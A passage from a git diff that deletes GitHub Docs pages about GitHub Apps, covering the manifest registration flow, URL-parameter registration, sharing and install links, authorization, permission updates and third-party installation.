-<form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post"> - register a GitHub App Manifest: <input type="text" name="manifest" id="manifest"><br> - <input type="submit" value="Submit"> -</form> - -<script> - input = document.getElementById("manifest") - input.value = JSON.stringify({ - "name": "Octoapp", - "url": "https://www.example.com", - "hook_attributes": { - "url": "https://example.com/github/events", - }, - "redirect_url": "https://example.com/redirect", - "callback_urls": [ - "https://example.com/callback" - ], - "public": true, - "default_permissions": { - "issues": "write", - "checks": "write" - }, - "default_events": [ - "issues", - "issue_comment", - "check_suite", - "check_run" - ] - }) -</script> -``` - -### 2. {% data variables.product.prodname_dotcom %} redirects people back to your site - -When the person clicks **Create {% data variables.product.prodname_github_app %}**, {% data variables.product.prodname_dotcom %} redirects back to the `redirect_url` with a temporary `code` in a code parameter. For example: - - https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679 - -If you provided a `state` parameter, you will also see that parameter in the `redirect_url`. For example: - - https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123 - -### 3. You exchange the temporary code to retrieve the app configuration - -To complete the handshake, send the temporary `code` in a `POST` request to the [Create a {% data variables.product.prodname_github_app %} from a manifest](/rest/apps/apps#create-a-github-app-from-a-manifest) endpoint. The response will include the `id` ({% data variables.product.prodname_github_app %} ID), `pem` (private key), and `webhook_secret`. {% data variables.product.prodname_dotcom %} creates a webhook secret for the app automatically. You can store these values in environment variables on the app's server. For example, if your app uses [dotenv](https://github.com/bkeepers/dotenv) to store environment variables, you would store the variables in your app's `.env` file. - -You must complete this step of the {% data variables.product.prodname_github_app %} Manifest flow within one hour. - -> [!NOTE] -> This endpoint is rate limited. See [Rate limits](/rest/rate-limit/rate-limit) to learn how to get your current rate limit status. - - POST /app-manifests/{code}/conversions - -For more information about the endpoint's response, see [Create a {% data variables.product.prodname_github_app %} from a manifest](/rest/apps/apps#create-a-github-app-from-a-manifest). - -When the final step in the manifest flow is completed, the person registering the app from the flow will be an owner of a registered {% data variables.product.prodname_github_app %} that they can install on any of their personal repositories. They can choose to extend the app using the {% data variables.product.prodname_dotcom %} APIs, transfer ownership to someone else, or delete it at any time. - -## Using Probot to implement the {% data variables.product.prodname_github_app %} Manifest flow - -[Probot](https://probot.github.io/) is a framework built with [Node.js](https://nodejs.org/) that performs many of the tasks needed by all {% data variables.product.prodname_github_apps %}, like validating webhooks and performing authentication. Probot implements the [{% data variables.product.prodname_github_app %} manifest flow](#implementing-the-github-app-manifest-flow), making it easy to create and share {% data variables.product.prodname_github_app %} reference designs with the {% data variables.product.prodname_dotcom %} community. - -To create a Probot App that you can share, follow these steps: - -1. [Generate a new {% data variables.product.prodname_github_app %}](https://probot.github.io/docs/development/#generating-a-new-app). -1. Open the project you created, and customize the settings in the `app.yml` file. Probot uses the settings in `app.yml` as the [{% data variables.product.prodname_github_app %} Manifest parameters](#github-app-manifest-parameters). -1. Add your application's custom code. -1. [Run the {% data variables.product.prodname_github_app %} locally](https://probot.github.io/docs/development/#running-the-app-locally) or [host it anywhere you'd like](#hosting-your-app-with-glitch). When you navigate to the hosted app's URL, you'll find a web page with a **Register {% data variables.product.prodname_github_app %}** button that people can click to register a preconfigured app. - -Using [dotenv](https://github.com/bkeepers/dotenv), Probot creates a `.env` file and sets the `APP_ID`, `PRIVATE_KEY`, and `WEBHOOK_SECRET` environment variables with the values [retrieved from the app configuration](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration). - -### Hosting your app with Glitch - -You can see an [example Probot app](https://glitch.com/~auspicious-aardwolf) that uses [Glitch](https://glitch.com/) to host and share the app. The example uses the [Checks API](/rest/checks) and selects the necessary Checks API events and permissions in the `app.yml` file. Glitch is a tool that allows you to "Remix your own" apps. Remixing an app creates a copy of the app that Glitch hosts and deploys. See [About Glitch](https://glitch.com/about/) to learn about remixing Glitch apps. diff --git a/content/apps/sharing-github-apps/registering-a-github-app-using-url-parameters.md b/content/apps/sharing-github-apps/registering-a-github-app-using-url-parameters.md deleted file mode 100644 index bf607762a6c7..000000000000 --- a/content/apps/sharing-github-apps/registering-a-github-app-using-url-parameters.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Registering a GitHub App using URL parameters -intro: 'You can use URL query parameters to help other people quickly set up a new {% data variables.product.prodname_github_app %} with a specific configuration you have preselected.' -redirect_from: - - /apps/building-github-apps/creating-github-apps-using-url-parameters - - /developers/apps/creating-a-github-app-using-url-parameters - - /developers/apps/building-github-apps/creating-a-github-app-using-url-parameters - - /apps/creating-github-apps/creating-github-apps/creating-a-github-app-using-url-parameters - - /apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-using-url-parameters - - /apps/sharing-github-apps/creating-a-github-app-using-url-parameters -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: App query parameters ---- -## About URL parameters for registering {% data variables.product.prodname_github_apps %} - -You can use URL parameters to preselect the configuration settings of a new {% data variables.product.prodname_github_app %} registration and share a custom link with other people. The link will take people to a {% data variables.product.prodname_github_app %} registration page, where the app settings will be pre-filled according to the URL parameters you included in the URL. - -This approach is useful for integrators who want customers to set up an app on their personal account or organization with certain specifications, or for customers using {% data variables.product.prodname_ghe_server %} who aren't able to install apps from the {% data variables.product.prodname_marketplace %}. - -Alternatively, you can create a {% data variables.product.prodname_github_app %} manifest. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-from-a-manifest). - -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -## Creating a custom configuration URL with query parameters - -To create a custom configuration URL for a {% data variables.product.prodname_github_app %} on a personal or organization account, add query parameters after the following base URLs. - -* To register an app on a personal account, add URL parameters to: `{% data variables.product.oauth_host_code %}/settings/apps/new` -* To register an app on an organization account, add URL parameters to: `{% data variables.product.oauth_host_code %}/organizations/ORGANIZATION/settings/apps/new`. Replace `ORGANIZATION` with the name of the organization where you'd like the customer to register the app. {% ifversion enterprise-apps-public-beta %} - - >[!NOTE] The URL parameters for registering a {% data variables.product.prodname_github_app %} are also available for apps owned by enterprises. Since you can only install enterprise-owned apps on organizations within that enterprise, you can use the custom configuration URL for organizations.{% endif %} - -On the app registration page, the person registering the app can edit the preselected values before submitting the app. If you do not include parameters for required values (like `name`) in the URL query string, the person registering the app will need to input a value before they can register the app. - -For example, the following URL registers a new public app named `octocat-github-app` on a personal account. Using query parameters, the URL preconfigures a description and a callback URL. It also selects read and write permissions for `checks`, activates webhooks using the `webhook_active` parameter, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation: - -```text -{% data variables.product.oauth_host_code %}/settings/apps/new?name=octocat-github-app&description=An%20Octocat%20App&callback_urls[]=https://example.com&request_oauth_on_install=true&public=true&checks=write&webhook_active=true&events[]=check_run&events[]=check_suite -``` - -## {% data variables.product.prodname_github_app %} configuration parameters - -You can use the following query parameters to select a specific configuration for the {% data variables.product.prodname_github_app %} registration. For example, to name the app "octocat-github-app", your query string would include `name=octocat-github-app`. - -Parameter name | Type | Description ------|------|------------- -`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing {% data variables.product.prodname_dotcom %} user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. -`description` | `string` | A description of the {% data variables.product.prodname_github_app %}. -`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage. -`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to generate a user access token. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-user-authorization-callback-url). -`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app. -`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-setup-url). -`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed. -`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app. This parameter does not apply to apps owned by enterprises. -`webhook_active` | `boolean` | Set to `true` to enable webhook. Webhook is disabled by default. -`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to. -`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. For more information, see the [{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events) section. You can select multiple events in a query string. For example, `events[]=public&events[]=label`. -`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. If you need to manage multiple files, see `single_file_paths` below. -`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`. - -## {% data variables.product.prodname_github_app %} permissions - -You can use query parameters to select the permissions for the {% data variables.product.prodname_github_app %} registration. For the URL query parameter, use the permission name as the query parameter name, and set the query value to one of the possible values for that permission set. - -For example, to select "Read & write" permissions in the user interface for `contents`, your query string would include `contents=write`. To select "Read-only" permissions in the user interface for `blocking`, your query string would include `blocking=read`. To select "No access" in the user interface for `checks`, your query string would not include the `checks` permission. - -For more information about permissions and {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -## {% data variables.product.prodname_github_app %} webhook events - -You can use query parameters to enable the {% data variables.product.prodname_github_app %} webhook, designate a webhook URL, and subscribe the app to receive webhook payloads for specific events. - -To enable the {% data variables.product.prodname_github_app %} webhook, use `webhook_active=true` in your query string. To designate a full URL that you would like to send webhook event payloads to, use `webhook_url` in your query string. To subscribe the app to specific webhook payload events, use `events[]` as the query parameter name, and set the query value to the name of the webhook event. For more information about the possible webhook events and the {% data variables.product.prodname_github_app %} permissions required to subscribe to each event, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -For example, to subscribe a {% data variables.product.prodname_github_app %} to receive webhook payloads for activity relating to commit comments, the query string would include `&webhook_active=true&webhook_url=https://example.com&events[]=commit_comment`. Note that the `commit_comment` webhook event requires the {% data variables.product.prodname_github_app %} to have at least read-level access for the "Contents" repository permission. So your query string should also include a parameter to set the `contents` permission to `read` or `write`. For more information, see [{% data variables.product.prodname_dotcom %} app permissions](#github-app-permissions). - -You cannot use query parameters to set the value of a webhook secret. If an app requires a secret to secure its webhook, the value of the secret must be set in the {% data variables.product.company_short %} UI by the person registering the app. - -For more information about webhooks and {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps). diff --git a/content/apps/sharing-github-apps/sharing-your-github-app.md b/content/apps/sharing-github-apps/sharing-your-github-app.md deleted file mode 100644 index 1377a356f734..000000000000 --- a/content/apps/sharing-github-apps/sharing-your-github-app.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Sharing your GitHub App -intro: 'You can share your {% data variables.product.prodname_github_app %} with other users.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Share your app -redirect_from: - - /apps/maintaining-github-apps/sharing-your-github-app ---- - -{% ifversion fpt or ghec %} - -## Sharing your {% data variables.product.prodname_github_app %} on {% data variables.product.prodname_marketplace %} - -If your {% data variables.product.prodname_github_app %} is public, you can choose to publish it to {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace). - -{% ifversion ghec %}If you are an {% data variables.product.prodname_emu %}, then you cannot share your app on {% data variables.product.prodname_marketplace %}.{% endif %} - -For more information about how users can install your app from {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations) and [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account). - -{% endif %} - -## Sharing your {% data variables.product.prodname_github_app %} via an install link - -{% ifversion fpt or ghec %} -If your {% data variables.product.prodname_github_app %} is public, other users and organizations {% ifversion ghec %}within your enterprise {% endif %}can install your app. For more information about making your app public, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/making-a-github-app-public-or-private). - -{% ifversion ghec %}If you are an {% data variables.product.prodname_emu %}, you can only share your app with users or organizations within your enterprise.{% endif %} - -{% else %} -{% endif %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to share, click **Edit**. -1. Click **Public page**. {% data variables.product.company_short %} will bring you to the public page for your {% data variables.product.prodname_github_app %}. -1. Click **Install**. {% data variables.product.company_short %} will bring you to the installation URL for your {% data variables.product.prodname_github_app %}. The URL will look something like `{% data variables.product.oauth_host_code %}/{% ifversion ghes %}github-apps{% else %}apps{% endif %}/APP-NAME/installations/new`, where `APP-NAME` is the name of the {% data variables.product.prodname_github_app %}. -1. Share the installation URL with other users. For more information about how users can install your app from this URL, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party). - - When you share the URL, you can include a `state` query parameter in the installation URL to preserve the state of the application page and return people back to that state after they install, authenticate, or accept updates to your {% data variables.product.prodname_github_app %}. For example, you could use the `state` to correlate an installation to a user or account. - - To preserve a state, add it to the installation URL: `{% data variables.product.oauth_host_code %}/{% ifversion ghes %}github-apps{% else %}apps{% endif %}/<app name>/installations/new?state=AB12t` - -## Sharing your {% data variables.product.prodname_github_app %} with {% data variables.product.prodname_ghe_server %} instances - -If you want to share your {% data variables.product.prodname_github_app %} with {% data variables.product.prodname_ghe_server %} instances that you are not part of, you need to take additional steps. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/making-your-github-app-available-for-github-enterprise-server). diff --git a/content/apps/using-github-apps/about-using-github-apps.md b/content/apps/using-github-apps/about-using-github-apps.md deleted file mode 100644 index f953d4c5e008..000000000000 --- a/content/apps/using-github-apps/about-using-github-apps.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: About using GitHub Apps -shortTitle: About using apps -intro: "Learn about what a {% data variables.product.prodname_github_app %} is and why you would use a {% data variables.product.prodname_github_app %}." -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About {% data variables.product.prodname_github_apps %} - -{% data variables.product.prodname_github_apps %} are tools that extend {% data variables.product.company_short %}'s functionality. {% data variables.product.prodname_github_apps %} can do things on {% data variables.product.company_short %} like open issues, comment on pull requests, and manage projects. They can also do things outside of {% data variables.product.company_short %} based on events that happen on {% data variables.product.company_short %}. For example, a {% data variables.product.prodname_github_app %} can post on Slack when an issue is opened on {% data variables.product.company_short %}. - -## Finding {% data variables.product.prodname_github_apps %} - -{% ifversion fpt or ghec %} -You can discover {% data variables.product.prodname_github_apps %} on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). {% else %}You cannot install third-party applications on your enterprise. If you want to use the functionality of a third-party app, you can contact the app developer about creating an app from a manifest or from URL parameters. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-from-a-manifest) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app-using-url-parameters).{% endif %} - -{% data reusables.data-residency.github-marketplace-apps-unsupported %} - -You can also build your own {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -## Using {% data variables.product.prodname_github_apps %} - -In order to use a {% data variables.product.prodname_github_app %}, you must install the app on your user or organization account. When you install the app, you grant the app permission to read or modify your repository and organization data. The specific permissions depends on the app, and {% data variables.product.company_short %} will tell you what permissions the app requested before you install the app. When you install the app, you will also specify what repositories the app can access. If the app requires any additional configuration, the app will direct you to do so. For more information, see {% ifversion ghec or fpt %}[AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account), [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations),{% endif %} [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party) and [AUTOTITLE](/apps/using-github-apps/installing-your-own-github-app). - -You may also need to authorize a {% data variables.product.prodname_github_app %} to verify your identity, know what resources you can access, or take actions on your behalf. If you need to authorize the app, the app will prompt you to do so. For more information, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -Occasionally, the {% data variables.product.prodname_github_app %} will request updated permissions. {% data variables.product.company_short %} will notify you when this occurs. In order for the app to continue to function, you will need to review and approve the updated permissions. For more information, see [AUTOTITLE](/apps/using-github-apps/approving-updated-permissions-for-a-github-app). - -Before you install or authorize a {% data variables.product.prodname_github_app %}, you should make sure that you trust the app developer. If you no longer use the app, you should suspend or uninstall the app and/or revoke your authorization of the app. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps#blocking-access) and [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations). - -## {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} - -{% data variables.product.company_short %} also supports {% data variables.product.prodname_oauth_apps %}. Unlike {% data variables.product.prodname_github_apps %}, you do not install an {% data variables.product.prodname_oauth_app %} or control what repositories it can access. - -Both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %} use OAuth 2.0. - -{% data variables.product.prodname_oauth_apps %} can only act on behalf of a user, while {% data variables.product.prodname_github_apps %} can either act on behalf of a user or independently of a user. - -For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps) and [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps). diff --git a/content/apps/using-github-apps/approving-updated-permissions-for-a-github-app.md b/content/apps/using-github-apps/approving-updated-permissions-for-a-github-app.md deleted file mode 100644 index 1a54fbcfbf50..000000000000 --- a/content/apps/using-github-apps/approving-updated-permissions-for-a-github-app.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Approving updated permissions for a GitHub App -intro: 'When a {% data variables.product.prodname_github_app %} requests additional permissions, you can review what behavior the permissions will enable and decide whether to approve the permissions.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Approve new permissions ---- - -Occasionally, a {% data variables.product.prodname_github_app %} that you have installed will request additional permissions. This may happen if the {% data variables.product.prodname_github_app %} owner wants the app to make additional API requests or respond to additional webhook events. For more information about what different permissions enable a {% data variables.product.prodname_github_app %} to do, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -When a {% data variables.product.prodname_github_app %} requests additional organization or repository permissions, {% data variables.product.company_short %} will notify you if the app is installed on your personal account or on an organization that you own. - -You can choose whether to accept the additional permissions. If you do not approve the additional permissions, the {% data variables.product.prodname_github_app %} will still retain its current permissions. The {% data variables.product.prodname_github_app %} may not function as expected if you do not approve the additional permissions. - -If the app is authorized but not installed or if the {% data variables.product.prodname_github_app %} only requested additional account permissions, {% data variables.product.company_short %} will not notify you. Instead, the {% data variables.product.prodname_github_app %} will prompt you to reauthorize the app in order to enable the new account permissions. For more information, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). diff --git a/content/apps/using-github-apps/authorizing-github-apps.md b/content/apps/using-github-apps/authorizing-github-apps.md deleted file mode 100644 index e9aebe537448..000000000000 --- a/content/apps/using-github-apps/authorizing-github-apps.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Authorizing GitHub Apps -shortTitle: Authorize -intro: 'You can authorize a {% data variables.product.prodname_github_app %} to retrieve information about your {% data variables.product.company_short %} account and to make changes on your behalf.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management - - GitHub Apps -redirect_from: - - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps - - /authentication/keeping-your-account-and-data-secure/authorizing-github-apps ---- - -## About authorizing {% data variables.product.prodname_github_apps %} - -Applications that are not owned by you, your organization, or {% data variables.product.prodname_marketplace %} may need to verify your {% data variables.product.github %} identity or interact with {% data variables.product.github %} on your behalf. These applications can request authorization for a {% data variables.product.prodname_github_app %} to perform these actions. If an application requests authorization, it will redirect you to a {% data variables.product.github %} page prompting you to authorize the app. - -When authorizing the {% data variables.product.prodname_github_app %}, you should ensure you trust the application owner and review the information that the application wants to access. During authorization, you'll be prompted to grant the {% data variables.product.prodname_github_app %} permission to do all of the following: - -* Verify your {% data variables.product.company_short %} identity: When authorized, the {% data variables.product.prodname_github_app %} will be able to retrieve your public GitHub profile. The app may also be able to retrieve some private account information. During the authorization process, {% data variables.product.company_short %} will tell you which account information the {% data variables.product.prodname_github_app %} will be able to access. -* Know which resources you can access: When authorized, the {% data variables.product.prodname_github_app %} will be able to determine which resources you can access that the app can also access. The app may use this, for example, so that it can show you an appropriate list of repositories. -* Act on your behalf: When authorized, the application may perform tasks on {% data variables.product.company_short %} on your behalf. This might include creating an issue or commenting on a pull request. For more information, see [About {% data variables.product.prodname_github_apps %} acting on your behalf](#about-github-apps-acting-on-your-behalf). - -You can review and revoke your authorization at any time. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations). - -{% ifversion ghec %} - -> [!NOTE] -> If your organization uses SAML SSO and you cannot see your organization's resources after you authorize a {% data variables.product.prodname_github_app %}, you may need to reauthorize the app after starting an active SAML session for your organization. For more information, see [AUTOTITLE](/apps/using-github-apps/saml-and-github-apps). - -{% endif %} - -## About {% data variables.product.prodname_github_apps %} acting on your behalf - -Once you authorize a {% data variables.product.prodname_github_app %}, the app can act on your behalf. The situations in which a {% data variables.product.prodname_github_app %} acts on your behalf vary according to the purpose of the {% data variables.product.prodname_github_app %} and the context in which it is being used. For example, an integrated development environment (IDE) may use a {% data variables.product.prodname_github_app %} to interact on your behalf in order to push changes you have authored through the IDE back to repositories on {% data variables.product.company_short %}. - -The {% data variables.product.prodname_github_app %} can only do things that both you and the app have permission to do. For example, if you have write access to a repository but the {% data variables.product.prodname_github_app %} only has read access, then the app can only read the contents of the repository even when it is acting on your behalf. Similarly, if you have access to repositories `A` and `B`, and the {% data variables.product.prodname_github_app %} has access to repositories `B` and `C`, then the app can only access repository `B` when acting on your behalf. For more information about the permissions granted to a {% data variables.product.prodname_github_app %}, see [Difference between authorization and installation](#difference-between-authorization-and-installation). - -When an app acts on your behalf, it will attribute the activity to you in conjunction with the app. For example, if the app posts a comment on your behalf, the {% data variables.product.company_short %} UI will show your avatar photo along with the app's identicon badge as the author of the issue. - -![Screenshot of a comment that has a user avatar with an overlaid app identicon badge. The avatar is highlighted with an orange outline.](/assets/images/help/apps/github-app-acting-on-your-behalf.png) - -Similarly, if the activity triggers a corresponding entry in the audit logs and security logs, the logs will list you as the actor but will state that the "programmatic_access_type" is "GitHub App user-to-server token". - -## Difference between authorization and installation - -{% data reusables.apps.install-vs-authorize %} - -For more information about installation, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party), {% ifversion ghec or fpt %}[AUTOTITLE](/apps/using-github-apps/installing-an-app-in-your-personal-account) and [AUTOTITLE](/apps/using-github-apps/installing-an-app-in-your-organization).{% else %}[AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps).{% endif %} diff --git a/content/apps/using-github-apps/index.md b/content/apps/using-github-apps/index.md deleted file mode 100644 index 4efe1a9cf4da..000000000000 --- a/content/apps/using-github-apps/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Using GitHub Apps -intro: 'You can purchase and install {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /articles/purchasing-and-installing-apps-in-github-marketplace - - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace - - /get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: 'Using {% data variables.product.prodname_github_apps %}' -children: - - /about-using-github-apps - - /installing-a-github-app-from-github-marketplace-for-your-personal-account - - /installing-a-github-app-from-github-marketplace-for-your-organizations - - /installing-a-github-app-from-a-third-party - - /installing-your-own-github-app - - /requesting-a-github-app-from-your-organization-owner - - /authorizing-github-apps - - /approving-updated-permissions-for-a-github-app - - /reviewing-and-revoking-authorization-of-github-apps - - /reviewing-and-modifying-installed-github-apps - - /saml-and-github-apps - - /internal-github-apps ---- diff --git a/content/apps/using-github-apps/installing-a-github-app-from-a-third-party.md b/content/apps/using-github-apps/installing-a-github-app-from-a-third-party.md deleted file mode 100644 index 626c0db61052..000000000000 --- a/content/apps/using-github-apps/installing-a-github-app-from-a-third-party.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Installing a GitHub App from a third party -intro: 'You can install {% data variables.product.prodname_github_apps %} directly from the app owner to use on your personal account or organizations.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Install from third party ---- - -{% ifversion ghes < 3.16 %} - -You cannot install third-party {% data variables.product.prodname_github_apps %} on organizations owned by your instance. If you want to use the functionality of a third-party {% data variables.product.prodname_github_app %}, you can contact the app developer about making the {% data variables.product.prodname_github_app %} available for {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/apps/sharing-github-apps/making-your-github-app-available-for-github-enterprise-server). - -For more information about installing {% data variables.product.prodname_github_apps %} that you own, see [AUTOTITLE](/apps/maintaining-github-apps/installing-your-own-github-app). - -{% else %} - -## About installing {% data variables.product.prodname_github_apps %} - -{% ifversion fpt or ghec %} - -This article describes how to install a {% data variables.product.prodname_github_app %} directly from the app owner instead of from {% data variables.product.prodname_marketplace %}. For more information on installing {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-in-your-personal-account) and [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-in-your-organization). For more information about installing {% data variables.product.prodname_github_apps %} that you own, see [AUTOTITLE](/apps/maintaining-github-apps/installing-your-own-github-app).{% endif %} - -{% ifversion enterprise-apps-public-beta %} ->[!NOTE] This installation flow applies to any {% data variables.product.prodname_github_app %}, whether it’s a third-party app or an app owned by your enterprise. You can install the app manually using the link provided by the app owner. -{% endif %} - -{% data reusables.apps.about-installation %} - -### Difference between installation and authorization - -After you install a {% data variables.product.prodname_github_app %}, you may also be asked to authorize the app. - -{% data reusables.apps.install-vs-authorize %} - -For more information about authorizing {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -## Requirements to install a {% data variables.product.prodname_github_app %} - -Anyone can install {% data variables.product.prodname_github_apps %} on their personal account. - -Organization owners can install {% data variables.product.prodname_github_apps %} on their organization. - -Admins of repositories that are owned by an organization can also install {% data variables.product.prodname_github_apps %} on the organization if they only grant the app access to repositories that they are an admin of and if the app does not request any organization permissions or the "repository administration" permission. Organization owners can prevent outside collaborators who are repository admins from installing {% data variables.product.prodname_github_apps %}. - -Organization members who are not organization owners or repository admins can still select the organization during the install process. Instead of installing the app, {% data variables.product.company_short %} will send a notification to the organization owner to request the organization owner to install the app. - -The "app manager" role in an organization does not give a person the ability to install a {% data variables.product.prodname_github_app %} in the organization. See [AUTOTITLE](/apps/maintaining-github-apps/about-github-app-managers). - -## Installing a {% data variables.product.prodname_github_app %} - -During the installation process, the app owner will direct you to a {% data variables.product.company_short %} URL to install the {% data variables.product.prodname_github_app %}. The URL will look something like `{% data variables.product.oauth_host_code %}/{% ifversion ghes %}github-apps{% else %}apps{% endif %}/APP-NAME/installations/new`, where `APP-NAME` is the name of the {% data variables.product.prodname_github_app %}. - -1. Select the location where you want to install the {% data variables.product.prodname_github_app %}. You can select your personal account or an organization that you are a member of. - - {% ifversion ghec %} - - > [!NOTE] - > {% data reusables.apps.github_app_install_saml %} - - {% endif %} - -1. If the app requires repository permissions, select **All repositories** or **Only select repositories**. The app will always have at least read-only access to all public repositories on {% data variables.product.company_short %}. - - If the app does not require repository permissions, these options will be omitted. -1. If you selected **Only select repositories** in the previous step, under the **Select repositories** dropdown, select the repositories that you want the app to access. - - If the app creates any repositories, the app will automatically be granted access to those repositories as well. -1. Review the permissions that the app is requesting. For more information about the REST API requests the {% data variables.product.prodname_github_app %} can make with those permissions, see [AUTOTITLE](/rest/overview/permissions-required-for-github-apps). -1. Click **Install**, **Install and request**, or **Request**. The button that is presented depends on whether your organization owner must approve none, some, or all of the requested access for the app. For more information, see [Requirements to install a {% data variables.product.prodname_github_app %}](#requirements-to-install-a-github-app). - -{% endif %} diff --git a/content/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations.md b/content/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations.md deleted file mode 100644 index 4d79f31787e5..000000000000 --- a/content/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Installing a GitHub App from GitHub Marketplace for your organizations -intro: >- - You can install {% data variables.product.prodname_github_apps %} from {% data - variables.product.prodname_marketplace %} to use on your organizations. -redirect_from: - - /articles/installing-an-app-in-your-organization - - 